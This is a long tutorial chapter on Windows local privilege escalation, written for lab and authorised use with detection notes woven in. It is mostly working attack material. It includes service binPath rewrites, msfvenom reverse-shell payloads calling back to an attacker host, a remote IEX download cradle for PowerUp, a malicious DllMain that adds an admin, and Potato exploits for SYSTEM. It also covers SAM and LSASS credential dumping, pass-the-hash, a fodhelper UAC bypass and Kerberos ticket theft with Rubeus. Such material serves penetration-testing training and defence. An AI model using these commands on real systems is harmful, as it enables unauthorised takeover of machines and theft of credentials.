Windows Privilege Escalation Part 2: Services, Tokens, UAC, Unquoted Paths

This is Chapter 5 of the Privilege Escalation notebook. Chapter 4 was the enumeration half of Windows privilege escalation — how to land on a low-privilege Windows host and produce a ranked, evidence-backed list of local-root leads without firing a single exploit. This chapter is the weaponisation half: it takes each of those lead categories and shows exactly how to turn it into a SYSTEM shell, with the real commands, the exact flags, the payloads, and the output you would actually see on the wire.

The Windows escalation surface splits cleanly into two families, and this chapter is organised around them. The first is service and file misconfiguration: a service whose binary you can overwrite, whose configuration you can rewrite, whose path is unquoted, or whose search order lets you plant a DLL. The second is privilege and token abuse: a service account that holds SeImpersonate or SeAssignPrimaryToken and can therefore be walked straight to SYSTEM through the Potato family, or one of the other dangerous privileges (SeBackup, SeRestore, SeDebug, SeTakeOwnership) that each have a distinct, reliable exploitation path. Layered on top is UAC — the boundary that separates a member of the local Administrators group from an actually-elevated token — and the theft-and-impersonation techniques that move you laterally between existing tokens on a box.

Everything here assumes an explicit, written, scoped engagement, or lab hardware you own. Holding a shell as iis apppool\defaultapppool, nt service\mssqlserver, or a captured local admin does not make SYSTEM lawful game unless your rules of engagement say so. Run every command and tool in this chapter against your own VMs, HackTheBox / TryHackMe / Proving-Grounds targets, or systems named in a signed authorisation — nowhere else. Several of the tools here (JuicyPotato, GodPotato, PrintSpoofer, meterpreter’s getsystem) are loudly flagged by modern EDR; the woven-in defensive notes and the dedicated Detection & Defense section near the end explain exactly what each one leaves behind so you understand both sides.

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Part 1: The Model You Are Attacking — Why Windows Escalation Works

Before touching a single exploit you need the mental model, because every technique in this chapter is a consequence of two design decisions Microsoft made decades ago: services run as powerful accounts, and privilege is carried on tokens, not on processes. Chapter 4 taught you to see these; here we exploit them, so a tight recap of the mechanics is the foundation.

Integrity levels and the SYSTEM goal

Every Windows process runs at an integrity level (IL): Low, Medium, High, or System. A standard user’s processes run at Medium. An elevated administrator’s processes run at High. Core OS services run as NT AUTHORITY\SYSTEM at System integrity — the highest, with unrestricted access to the machine. Local privilege escalation on Windows almost always means moving from a Medium-integrity user context (or a service account) to a High-integrity administrator or, better, to SYSTEM.

SYSTEM is the real prize over “an admin token” for three reasons: it survives UAC entirely (there is no consent prompt above it), it can read every user’s secrets including the SAM and LSA, and from SYSTEM you can trivially impersonate or create tokens for any user, which is your springboard into the domain (Chapter 6 onward).

flowchart LR
    A[Low IL<br/>sandboxed IE/Edge] --> B[Medium IL<br/>standard user]
    B --> C[High IL<br/>elevated admin]
    C --> D[System IL<br/>NT AUTHORITY SYSTEM]
    B -. service misconfig .-> D
    B -. token privilege .-> D
    B -. UAC bypass .-> C
    style D fill:#b30000,color:#fff

The dotted arrows are the whole chapter: a service misconfiguration or a token privilege can jump you straight from Medium to SYSTEM without ever touching an admin account, while a UAC bypass promotes an admin-group member from Medium to High.

Access tokens: the object that actually carries privilege

When you authenticate, the LSASS process builds an access token and attaches it to your processes. That token is the only thing Windows consults for authorisation decisions. It contains:

• The user SID and the SIDs of every group you belong to.
• A list of privileges (SeImpersonatePrivilege, SeDebugPrivilege, etc.), each independently enabled or disabled.
• An integrity level.

Two facts make the token model exploitable. First, privileges are per-token, and service accounts are handed dangerous ones by default — a web app pool holds SeImpersonatePrivilege because IIS legitimately needs to impersonate authenticated clients. Second, tokens are shareable objects: if you can get SYSTEM to hand you a token — even briefly, even a network-logon token — and you hold the right privilege, you can impersonate it into a full SYSTEM process. That single idea is the entire Potato family.

Pentester framing: the two questions that decide your entire Windows escalation are answered by whoami /priv and whoami /groups. Everything below is “given what those two commands returned, here is your path.” If you skipped Chapter 4, run them now.

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                          State
============================= ==================================== ========
SeImpersonatePrivilege        Impersonate a client after auth      Enabled
SeAssignPrimaryTokenPrivilege Replace a process level token        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled

That single SeImpersonatePrivilege: Enabled line is, on a huge fraction of real Windows boxes, a direct ticket to SYSTEM. Hold that thought — Part 8 cashes it in.

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Part 2: Teaching accesschk and sc From Scratch

Two tools appear in almost every service-based escalation, so we teach them properly before using them, per the tool-from-scratch rule.

sc.exe — the service control manager CLI

sc.exe is a built-in Windows binary (present on every install, no upload needed) that talks to the Service Control Manager (SCM). A Windows service is a background program the SCM starts, defined by a registry key under HKLM\SYSTEM\CurrentControlSet\Services\<name> that records its executable path (ImagePath), the account it runs as (ObjectName, e.g. LocalSystem), and its start type.

Core sc verbs you will use constantly:

Command	What it does	Why it matters for escalation
sc query <name>	Show current state (running/stopped)	Confirm you can restart it to trigger your payload
sc qc <name>	Query config: BINARY_PATH_NAME, START_TYPE, SERVICE_START_NAME	Reveals unquoted paths and the run-as account
sc config <name> binPath= "C:\x.exe"	Rewrite the service binary path	The core weak-ACL exploit primitive
sc stop <name> / sc start <name>	Stop / start the service	Triggers execution of the (new) binary as the service account
sc qprivs <name>	Show privileges assigned to the service	Spot SeImpersonate-holding services

The single most important syntax gotcha, which trips up every beginner: sc config requires a space after the = and none before it. binPath= is correct; binPath = fails silently or misparses. This is a legacy of sc’s argument parser and it is not optional.

accesschk — the ACL auditor

accesschk.exe is a Sysinternals tool (by Mark Russinovich, downloaded from Microsoft’s live.sysinternals.com; not built in, so you upload it). It reports the effective permissions a given user or group has on securable objects: files, directories, registry keys, and — crucially — services. Where sc qc shows you what a service is, accesschk shows you what you are allowed to do to it.

Because it is a Microsoft-signed binary, older versions ship an EULA prompt; always pass /accepteula (or -accepteula) to suppress it in a non-interactive shell, otherwise it hangs waiting for a keypress.

The flags that matter:

Flag	Meaning
-u	Suppress errors (quieter output)
-w	Show only objects with write access
-c	Target is a Windows service (name), * = all services
-d	Target is a directory (don’t recurse into files)
-k	Target is a registry key
-s	Recurse subdirectories/subkeys
-v	Verbose — show the specific granted rights
-q	Omit the banner
/accepteula	Accept EULA non-interactively

The canonical service-hunting incantation, which you will run on every box:

accesschk.exe /accepteula -uwcqv "Everyone" *
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "%USERNAME%" *

-uwcqv "<principal>" * reads as: quietly, show me every service (c + *) on which <principal> has write-level access (w), verbosely listing the exact rights (v). The rights you are hunting for are SERVICE_ALL_ACCESS (game over) or SERVICE_CHANGE_CONFIG (you can rewrite binPath).

Blue team usage: the same command is a defender’s audit — run accesschk -uwcqv "Users" * on a gold image and any service that comes back is a build defect to fix before shipping.

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Part 3: Weak Service Permissions (SERVICE_CHANGE_CONFIG)

This is the cleanest Windows escalation there is, and it is astonishingly common on real estates because admins grant Authenticated Users or a specific low-priv group control over a service so a helpdesk can restart it — not realising SERVICE_CHANGE_CONFIG also lets that group rewrite what binary the service runs and which account runs it.

The mechanic

A service defined to run as LocalSystem executes ImagePath as SYSTEM every time it starts. If your token can call ChangeServiceConfig on it, you rewrite ImagePath to your payload, restart the service, and the SCM runs your code as SYSTEM. That is the entire attack.

sequenceDiagram
    participant A as Attacker (Medium IL)
    participant SCM as Service Control Manager
    participant SVC as Vulnerable Service (runs as SYSTEM)
    A->>SCM: accesschk -> SERVICE_CHANGE_CONFIG granted
    A->>SCM: sc config VulnSvc binPath to C:\pwn.exe
    A->>SCM: sc stop VulnSvc
    A->>SCM: sc start VulnSvc
    SCM->>SVC: launch C:\pwn.exe AS LocalSystem
    SVC-->>A: reverse shell / net user add — SYSTEM

Worked exploitation

Enumeration (Part 2 command) returned:

C:\> accesschk.exe /accepteula -uwcqv "Authenticated Users" *
RW daclsvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL

SERVICE_CHANGE_CONFIG + SERVICE_START + SERVICE_STOP on daclsvc (a real service from TryHackMe’s Windows PrivEsc room) is a full chain. Confirm the run-as account:

C:\> sc qc daclsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: daclsvc
        BINARY_PATH_NAME   : "C:\Program Files\DACL Service\daclservice.exe"
        SERVICE_START_NAME : LocalSystem

SERVICE_START_NAME : LocalSystem confirms the payload will run as SYSTEM. Build a payload — the simplest reliable one just adds you to local admins (no callback, survives losing your shell):

sc config daclsvc binPath= "cmd /c net localgroup administrators pwn /add"
sc stop daclsvc
sc start daclsvc

The sc start will report FAILED 1053 (“did not respond in a timely fashion”) — that is expected and harmless: net.exe is not a real service, so the SCM’s start times out after your command has already run. Verify:

C:\> net localgroup administrators
Members
-------------------------------------------------------------------------------
Administrator
pwn

For an interactive SYSTEM shell instead, point binPath at an msfvenom service EXE (Part 6 teaches msfvenom in full) or a nc callback. Always restore the original binPath afterwards so the legitimate service still works and you leave a cleaner box:

sc config daclsvc binPath= "C:\Program Files\DACL Service\daclservice.exe"

Red team note: rewriting binPath to a one-shot net localgroup add is far quieter than a reverse shell — no network callback, no new listening process, and the “service” exits instantly. Blue team note: every sc config writes to the service registry key and emits Event ID 7040 (service start type changed) / 4657 (registry value modified) if auditing is on; a SYSTEM-integrity net.exe child of services.exe is a screaming EDR signal.

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Part 4: Insecure Service Binary Permissions

A variant that needs no config-change right at all. Here the service configuration is locked down, but the executable file on disk that the service runs is writable by you. You do not touch the SCM’s config — you simply overwrite the binary itself, then restart the service (or wait for a reboot) and the SCM runs your replaced file as SYSTEM.

Finding it

accesschk against the binary’s directory or the file directly:

C:\> accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
RW Everyone
        FILE_ALL_ACCESS

FILE_ALL_ACCESS for Everyone on the service EXE means you can replace it. PowerUp (Part 5) categorises this as ModifiableServiceFile.

Exploitation

:: back up the original so the box still works afterwards
copy "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp\filepermservice.bak

:: drop your payload over it (msfvenom service exe, or a simple wrapper)
copy /Y C:\Temp\pwn.exe "C:\Program Files\File Permissions Service\filepermservice.exe"

:: trigger — restart the service if you can, else it fires on next reboot
sc stop filepermsvc & sc start filepermsvc

If you lack stop/start rights, net stop/net start may still be allowed via a different ACL, or you wait for a scheduled reboot. This is why enumeration ranked these leads — a writable binary you cannot restart is a lower-priority lead than one you can.

Common pitfall: writable directory vs writable file are different. If the file itself is locked but its parent directory is writable, you cannot overwrite the EXE while the service holds a handle — but you may be able to rename it and drop a replacement, or this becomes a DLL-hijack surface instead (Part 7). Always check both with accesschk -dqv "<dir>" and accesschk -qv "<file>".

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Part 5: PowerUp and SharpUp — Automating Service Escalation

Doing all of Parts 3–4 by hand is precise but slow. PowerUp (PowerShell) and SharpUp (C#/.NET, from the same GhostPack authors) automate the discovery and the exploitation. Taught from scratch here.

PowerUp

PowerUp is a single PowerShell script (PowerUp.ps1, part of the PowerSploit toolkit) that enumerates every common Windows-service and registry escalation vector and, for many, ships a matching Abuse-* function that exploits it for you. It runs in memory — you can IEX it straight from a download cradle without touching disk, which matters for EDR evasion.

Load it and run the master check:

# in-memory load (no file on disk)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1')

# run everything
Invoke-AllChecks

Key functions and what each finds:

Function	Finds	Matching abuse
Get-ModifiableService	Services whose config you can change	Invoke-ServiceAbuse
Get-ModifiableServiceFile	Services whose binary/args you can write	Install-ServiceBinary
Get-UnquotedService	Unquoted ImagePath with a writable dir	drop EXE at the space
Get-RegistryAlwaysInstallElevated	AlwaysInstallElevated policy set	Write-UserAddMSI
Get-ModifiableRegistryAutoRun	Writable autorun program	replace it

One-shot abuse of a modifiable service, adding a user:

Invoke-ServiceAbuse -Name 'daclsvc' -UserName 'pwn' -Password 'P@ssw0rd!'
# [*] Service 'daclsvc' set to abuse; running... user added to Administrators

Invoke-ServiceAbuse does everything Part 3 did by hand — stop, ChangeServiceConfig to a net user command, start, restore — in one call.

SharpUp

When PowerShell is locked down (Constrained Language Mode, AMSI, script-block logging), SharpUp is the compiled equivalent — a single .exe you run:

C:\> SharpUp.exe audit

=== SharpUp: Running Privilege Escalation Checks ===

=== Modifiable Services ===
  Name             : daclsvc
  DisplayName      : DACL Service
  StartName        : LocalSystem
  AbuseFunction    : Invoke-ServiceAbuse -Name 'daclsvc'

=== Unquoted Service Paths ===
  Name             : unquotedsvc
  Path             : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

Blue team / detection note: both tools are heavily signatured. PowerUp’s function names (Invoke-AllChecks, Get-ModifiableService) are classic script-block-logging (Event ID 4104) IOCs; SharpUp.exe trips Defender by hash and by its embedded strings. On a mature EDR estate expect the compiled version to be quarantined on write — obfuscation/recompilation is often needed, which is exactly why understanding the manual method (Parts 3–4) still matters.

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Part 6: Teaching msfvenom — Building the Payloads You Just Pointed At

Parts 3–7 all end with “point the service at your payload.” Here is how you build one, taught from zero, because a payload that crashes the moment the SCM launches it wastes the whole chain.

msfvenom is the standalone payload generator bundled with the Metasploit Framework on Kali. It combines a payload (what runs — a reverse shell, a command) with an encoder and an output format (exe, dll, msi, raw shellcode). The flags:

Flag	Meaning	Example
-p	Payload to use	windows/x64/shell_reverse_tcp
LHOST= / LPORT=	Callback address/port	LHOST=10.10.14.5 LPORT=443
-f	Output format	-f exe, -f dll, -f msi
-a	Architecture	-a x64
-o	Output file	-o pwn.exe
-e	Encoder	-e x86/shikata_ga_nai

The critical subtlety for service payloads: a normal reverse-shell EXE, when launched by the SCM, does not answer the service-control protocol, so the SCM kills it after ~30 seconds. For anything that must survive as a service, use the exe-service format, which wraps your payload in a proper service stub:

# service-safe payload (survives SCM launch)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 \
         -f exe-service -o pwn.exe

# simple command payload (one-shot, e.g. behind sc config binPath)
msfvenom -p windows/x64/exec CMD='net localgroup administrators pwn /add' \
         -f exe -o add.exe

# DLL for hijacking (Part 7)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 \
         -f dll -o hijack.dll

# MSI for AlwaysInstallElevated (Part 9)
msfvenom -p windows/x64/exec CMD='net localgroup administrators pwn /add' \
         -f msi -o evil.msi

Catch the reverse shell with a listener before triggering:

# plain nc for shell_reverse_tcp
nc -lvnp 443
# or rlwrap nc -lvnp 443   (arrow-key history in the caught shell)

Detection note: default msfvenom output is one of the most-signatured artifacts in existence — every AV catches stock shikata_ga_nai-encoded meterpreter on write. In labs it’s fine; against EDR you need custom shellcode loaders, which is a topic of its own. For escalation, prefer the windows/x64/exec net localgroup one-shot where possible: it’s a tiny, less-signatured binary and it needs no listener.

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Part 7: DLL Hijacking

When you cannot touch a service’s config or its EXE, you attack its dependencies. A program that calls LoadLibrary("foo.dll") without an absolute path triggers the Windows DLL search order. If any directory searched before the real DLL’s location is writable by you, you plant a malicious foo.dll there and the service loads your code into its SYSTEM process on next start.

The search order (why it’s exploitable)

With safe-DLL-search enabled (default), the order is roughly:

flowchart TD
    A["LoadLibrary(foo.dll)"] --> B["1. Directory of the EXE"]
    B --> C["2. System32"]
    C --> D["3. System16"]
    D --> E["4. Windows dir"]
    E --> F["5. Current working dir"]
    F --> G["6. Directories in PATH"]
    G --> H{found?}
    H -->|no & any earlier dir writable| I["plant malicious foo.dll -> loaded as SYSTEM"]
    style I fill:#b30000,color:#fff

Two realistic hijack conditions: (1) a writable directory in the system %PATH% that precedes where a service’s genuinely-missing DLL would resolve, or (2) the service’s own application directory is writable and it loads a non-KnownDLL by name.

Finding a missing DLL

Run Process Monitor (Procmon, Sysinternals) with a filter on Result is NAME NOT FOUND and Path ends with .dll while restarting the target service. Any CreateFile ... NAME NOT FOUND on a DLL in a writable search directory is a live hijack:

Time   Process        Operation  Path                                   Result
10:31  dllsvc.exe     CreateFile C:\Temp\hijackme.dll                   NAME NOT FOUND
10:31  dllsvc.exe     CreateFile C:\Windows\System32\hijackme.dll       NAME NOT FOUND

C:\Temp is world-writable and searched first → drop your DLL there.

Building and dropping the DLL

Your DLL just needs to do its work in DllMain on DLL_PROCESS_ATTACH. msfvenom’s -f dll (Part 6) produces a valid one, or compile a minimal one:

// hijack.c  ->  x86_64-w64-mingw32-gcc hijack.c -shared -o hijackme.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
    if (reason == DLL_PROCESS_ATTACH)
        system("cmd.exe /c net localgroup administrators pwn /add");
    return TRUE;
}

copy hijackme.dll C:\Temp\hijackme.dll
sc stop dllsvc & sc start dllsvc

PowerUp automates discovery via Find-ProcessDLLHijack and Find-PathDLLHijack. Blue team note: DLL hijacks are hunted by watching for DLLs loaded from non-standard, user-writable paths (Sysmon Event ID 7 – Image Loaded, filtered on unsigned modules loaded by signed service binaries).

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Part 8: SeImpersonate / SeAssignPrimaryToken — The Potato Family

This is the most valuable single technique on modern Windows, because service accounts hold SeImpersonatePrivilege by default. If your whoami /priv (Part 1) showed SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege enabled — which it will for iis apppool\*, nt service\mssqlserver, and most web/db service contexts — you have a near-guaranteed path to SYSTEM regardless of patch level.

Why it works

SeImpersonatePrivilege lets a process impersonate any token it can get a handle to. The Potato technique tricks a SYSTEM-level service into authenticating to a listener the attacker controls; the attacker captures the SYSTEM token from that authentication and, holding SeImpersonate, impersonates it into a new SYSTEM process. Different “Potatoes” differ only in how they coerce a SYSTEM authentication.

sequenceDiagram
    participant A as Attacker (holds SeImpersonate)
    participant Coerce as Coercion trigger (RPC/DCOM/Spooler)
    participant SYS as SYSTEM service
    participant Tok as Token
    A->>Coerce: trigger SYSTEM to auth to my local listener
    Coerce->>SYS: SYSTEM initiates authentication
    SYS->>A: SYSTEM security context arrives at listener
    A->>Tok: capture and ImpersonateSecurityContext (SeImpersonate)
    A->>SYS: CreateProcessWithTokenW -> cmd.exe as SYSTEM

Choosing the right Potato

Tool	Coercion vector	Works on	Notes
JuicyPotato	DCOM/BITS + local NTLM reflection	Win7–Win10 1809, Server ≤2016	Needs a working CLSID; dead on 1809+
RoguePotato	DCOM via OXID resolver on 135	Win10 1809+, Server 2019	Needs -r redirector; revived JuicyPotato
PrintSpoofer	MS-RPRN / Print Spooler named pipe	Win10 / Server 2016–2019	Cleanest; no external redirector
GodPotato	DCOM/RPC, universal	Win8–Win11, Server 2012–2022	Modern default; .NET-version specific build

Practical rule: on a current box, try PrintSpoofer first, then GodPotato. JuicyPotato is a legacy fallback for old targets.

Worked exploitation — PrintSpoofer

PrintSpoofer abuses the Print Spooler’s named pipe to get SYSTEM to connect back to a pipe the attacker owns, then impersonates the resulting SYSTEM token — no external redirector, single binary.

C:\> whoami
iis apppool\defaultapppool

C:\> whoami /priv | findstr Impersonate
SeImpersonatePrivilege        Impersonate a client after authentication  Enabled

:: pop an interactive SYSTEM shell in the current console
C:\> PrintSpoofer64.exe -i -c cmd.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

C:\Windows\system32> whoami
nt authority\system

Flags: -i interactive (spawn in the current console), -c <cmd> the command to run as SYSTEM. For a remote shell instead of interactive:

PrintSpoofer64.exe -c "C:\Temp\pwn.exe"   :: pwn.exe = msfvenom reverse shell

Worked exploitation — GodPotato (modern default)

GodPotato works from Windows 8 through Windows 11 / Server 2022, well after PrintSpoofer’s spooler vector is patched or disabled. Pick the build matching the target’s .NET (GodPotato-NET4.exe for .NET 4.x):

C:\> GodPotato-NET4.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x7ff...
[*] DispatchTable: 0x7ff...
[*] Trigger RPC -> SYSTEM token captured
nt authority\system

:: full reverse shell as SYSTEM
C:\> GodPotato-NET4.exe -cmd "C:\Temp\pwn.exe"

Legacy — JuicyPotato

For pre-1809 targets, JuicyPotato needs a CLSID that maps to a SYSTEM-running DCOM object (look one up per-OS from the ohpe/juicy-potato CLSID lists):

JuicyPotato.exe -l 1337 -p C:\Temp\pwn.exe -t * -c {CLSID-for-target-OS}

-l local COM port, -p program to launch, -t * try both CreateProcessWithToken (needs SeImpersonate) and CreateProcessAsUser (needs SeAssignPrimaryToken), -c the CLSID.

Bug bounty / CTF note: the Potato chain is the canonical final step on HackTheBox/TryHackMe Windows boxes where you land as a web or MSSQL service account — xp_cmdshell on an MSSQL box hands you nt service\mssqlserver with SeImpersonate, and PrintSpoofer/GodPotato finishes it. Detection note: all Potatoes leave a distinctive named-pipe + token-manipulation trace; Defender flags PrintSpoofer/GodPotato by hash, and services.exe/spoolsv.exe spawning cmd.exe at System integrity is a high-fidelity Sysmon EID 1 alert.

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Part 9: Unquoted Service Paths

A subtle, purely-configuration bug with no writable-file requirement at all — just a badly-quoted path and a writable directory somewhere along it.

The mechanic

When a service’s ImagePath contains spaces and is not wrapped in quotes, the SCM (via CreateProcess) does not know where the executable name ends. It tries each space-delimited prefix in turn, appending .exe:

For ImagePath = C:\Program Files\Vuln Service\service.exe, the SCM attempts, in order:

C:\Program.exe
C:\Program Files\Vuln.exe
C:\Program Files\Vuln Service\service.exe   <- the intended one

If you can write to C:\ you plant Program.exe; if you can write to C:\Program Files\ you plant Vuln.exe — and the SCM runs your binary as the service account before it ever reaches the real one. C:\ is not writable by standard users, but nested paths under C:\Program Files\SomeVendor\ frequently are, thanks to loose installer ACLs.

flowchart TD
    A["ImagePath: C:\Program Files\Vuln Service\service.exe (unquoted)"] --> B["Try C:\Program.exe"]
    B -->|not found| C["Try C:\Program Files\Vuln.exe"]
    C -->|not found| D["Try full path service.exe"]
    C -->|"you can write here"| E["Plant Vuln.exe -> runs as SYSTEM"]
    style E fill:#b30000,color:#fff

Finding and exploiting

Built-in enumeration (no tools) — find services whose path has a space and no leading quote:

wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

Then confirm a writable directory along the path:

C:\> sc qc unquotedsvc
        BINARY_PATH_NAME : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
        SERVICE_START_NAME : LocalSystem

C:\> accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
RW BUILTIN\Users

Users has write on ...\Unquoted Path Service\ → the SCM will try C:\Program Files\Unquoted Path Service\Common.exe before the real binary. Plant it:

copy C:\Temp\pwn.exe "C:\Program Files\Unquoted Path Service\Common.exe"
sc stop unquotedsvc & sc start unquotedsvc

The service starts, Common.exe runs as SYSTEM. PowerUp: Get-UnquotedService / Write-ServiceBinary. Pitfall: name the planted binary after the token before the first space in the remaining path — here Common.exe, not Common Files.exe. Get the segment wrong and nothing fires.

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Part 10: AlwaysInstallElevated

A policy misconfiguration that turns any .msi into a SYSTEM-execution primitive. When both of two registry values are set to 1, Windows Installer runs every MSI package with SYSTEM privileges, even when launched by a standard user:

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1

Both are required — HKLM alone or HKCU alone does nothing. Check:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both returning 0x1? Build a malicious MSI (Part 6) and install it:

msfvenom -p windows/x64/exec CMD='net localgroup administrators pwn /add' -f msi -o evil.msi

:: /quiet no UI, /qn no prompts, /i install
msiexec /quiet /qn /i C:\Temp\evil.msi

The installer runs your payload as SYSTEM. PowerUp automates the whole thing: Get-RegistryAlwaysInstallElevated then Write-UserAddMSI (drops a ready MSI). Blue team note: this policy exists to let admins deploy per-user software but is a textbook mistake in GPO; auditing for these two keys set to 1 across the estate is a one-line detection with zero false positives — no legitimate hardened build sets both.

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Part 11: The Other Dangerous Privileges — SeBackup, SeRestore, SeDebug, SeTakeOwnership

whoami /priv sometimes returns privileges other than SeImpersonate that are each a full escalation on their own. Service and backup accounts collect these.

SeBackupPrivilege / SeRestorePrivilege

SeBackupPrivilege lets you read any file bypassing its DACL (the intent: backup software reads everything). That means you can copy the SAM and SYSTEM registry hives — normally locked to SYSTEM — and crack or pass the local admin hash offline:

:: with SeBackup, read the locked hives via the backup semantic
reg save HKLM\SAM   C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM

Or, if reg save is blocked, use the robocopy /b backup mode, or the diskshadow + SeBackupPrivilege.dll VSS trick to copy ntds.dit on a DC. Then offline:

# on Kali
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
# ... Administrator:500:aad3b...:31d6cfe0d16ae931b73c59d7e0c089c0:::

Pass-the-hash that Administrator NT hash back for a SYSTEM-equivalent shell:

impacket-psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 Administrator@10.10.10.10

SeRestorePrivilege is the write-side twin: write any file ignoring DACLs. Classic abuse is to overwrite a binary that a SYSTEM process runs, or hijack an Image File Execution Options debugger key to launch your payload as SYSTEM (e.g. set a debugger on sethc.exe/utilman.exe).

SeDebugPrivilege

SeDebugPrivilege grants a handle to any process, including SYSTEM ones. The clean abuse is to migrate into or spawn from a SYSTEM process. With Mimikatz you can token::elevate, or dump LSASS to harvest every logged-on user’s credentials:

mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords     # dump creds from LSASS (needs SeDebug)

Or in a one-liner, dump LSASS with the built-in rundll32/comsvcs.dll and crack offline:

rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\Temp\lsass.dmp full

Metasploit’s getsystem uses SeDebug (among others) under the hood.

SeTakeOwnershipPrivilege

Lets you take ownership of any securable object. Take ownership of a SYSTEM-run binary or a sensitive file, grant yourself full control, then replace/read it:

takeown /f C:\Windows\System32\somesvc.exe
icacls  C:\Windows\System32\somesvc.exe /grant pwn:F
:: now overwrite it with your payload; it runs as SYSTEM on next service start

Privilege	Primitive it gives	Fastest path to SYSTEM
SeImpersonate / SeAssignPrimaryToken	Impersonate a token	Potato family (Part 8)
SeBackup	Read any file	Dump SAM/SYSTEM → secretsdump → PtH
SeRestore	Write any file	Overwrite SYSTEM binary / IFEO debugger
SeDebug	Handle to any process	Mimikatz LSASS dump / token::elevate
SeTakeOwnership	Own any object	takeown+icacls a SYSTEM binary, replace it
SeManageVolume	Full disk write eventually	Arbitrary write via volume ACL abuse

CTF note: HackTheBox boxes frequently gate the final step behind exactly one of these — e.g. a “backup operator” user with SeBackup, or an admin-but-UAC-limited user with SeDebug. Reading whoami /priv first tells you which door to open.

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Part 12: UAC — What It Is and Bypassing It (fodhelper)

User Account Control (UAC) is the reason “I’m in the Administrators group” is not the same as “I’m an admin right now.” Understanding it is essential because many boxes hand you an admin-group user whose token is filtered down to Medium integrity.

How UAC actually works

When an admin-group user logs on, LSASS issues them two tokens: a full-privilege elevated token and a filtered (Medium-integrity, admin-SID-stripped) token. Normal processes get the filtered one; only when a process requests elevation and the user clicks “Yes” on the consent prompt does it receive the elevated token. So a member of Administrators running cmd.exe normally is at Medium integrity and cannot read C:\Windows\System32\config\SAM, install services, etc. — until UAC-elevated.

flowchart LR
    L[Admin-group logon] --> T1[Filtered token<br/>Medium IL]
    L --> T2[Elevated token<br/>High IL]
    T1 -->|default processes| P[cmd.exe Medium — limited]
    P -->|Run as admin + consent| T2
    T2 --> E[cmd.exe High — full admin]
    P -.UAC bypass, no prompt.-> E
    style E fill:#b30000,color:#fff

The dotted arrow is a UAC bypass: getting the elevated token without the consent prompt, which auto-elevating trusted Microsoft binaries make possible.

The fodhelper bypass

fodhelper.exe is a Microsoft-signed, auto-elevating binary (it elevates without a prompt because of its manifest + trusted path). It reads a user-controllable registry key to decide what to launch, and since that key lives in HKCU — writable at Medium integrity — you point it at your payload:

:: as a filtered-token admin (Medium IL)
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe /c C:\Temp\pwn.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /f

:: trigger the auto-elevating binary — it runs your command at High IL, no prompt
fodhelper.exe

:: clean up
reg delete "HKCU\Software\Classes\ms-settings" /f

When fodhelper runs it consults HKCU\...\ms-settings\Shell\Open\command, finds your cmd.exe /c ..., and executes it at High integrity with no consent prompt. The DelegateExecute empty value is the trick that forces it down the command path.

Important scope note: a UAC bypass gets you from filtered-admin (Medium) to High integrity admin — it is not an escalation from a non-admin user. If whoami /groups doesn’t show you in Administrators, fodhelper does nothing for you; you need Parts 3–11 instead. From High integrity you then go to SYSTEM easily (PsExec -s, service install, or a Potato).

Detection note: the ms-settings HKCU registry write followed by fodhelper.exe spawning a non-settings child is a well-known, heavily-hunted UAC-bypass IOC (Sysmon EID 13 registry-set + EID 1 process-create correlation). Microsoft has patched several bypass binaries over time; fodhelper still works on many builds but treat any specific bypass as version-dependent and enumerate first.

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Part 13: Token Impersonation and Theft (incognito / Rubeus)

Once you are SYSTEM — or a service account with SeImpersonate — you can steal existing tokens for other users who are logged on, which is how local escalation becomes lateral movement into the domain. If a domain admin has a session on the box (a scheduled task, an RDP session, a service), their token is sitting in memory for the taking.

incognito (Metasploit)

incognito lists and impersonates delegation tokens present on the host:

meterpreter > load incognito
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
CORP\Administrator
NT AUTHORITY\SYSTEM

meterpreter > impersonate_token "CORP\\Administrator"
[+] Successfully impersonated user CORP\Administrator
meterpreter > getuid
Server username: CORP\Administrator

A delegation token (from an interactive/RDP logon) can be used to authenticate to remote systems; an impersonation token (from a network logon) only works locally — the distinction decides whether a stolen token moves you laterally.

Rubeus (Kerberos angle, preview of Chapter 6)

From SYSTEM you can also harvest Kerberos tickets from memory with Rubeus, then pass them:

C:\> Rubeus.exe triage          # list all tickets in memory
C:\> Rubeus.exe dump /nowrap    # extract TGTs/TGSs (base64)
C:\> Rubeus.exe ptt /ticket:<base64-TGT>   # inject a TGT into your session

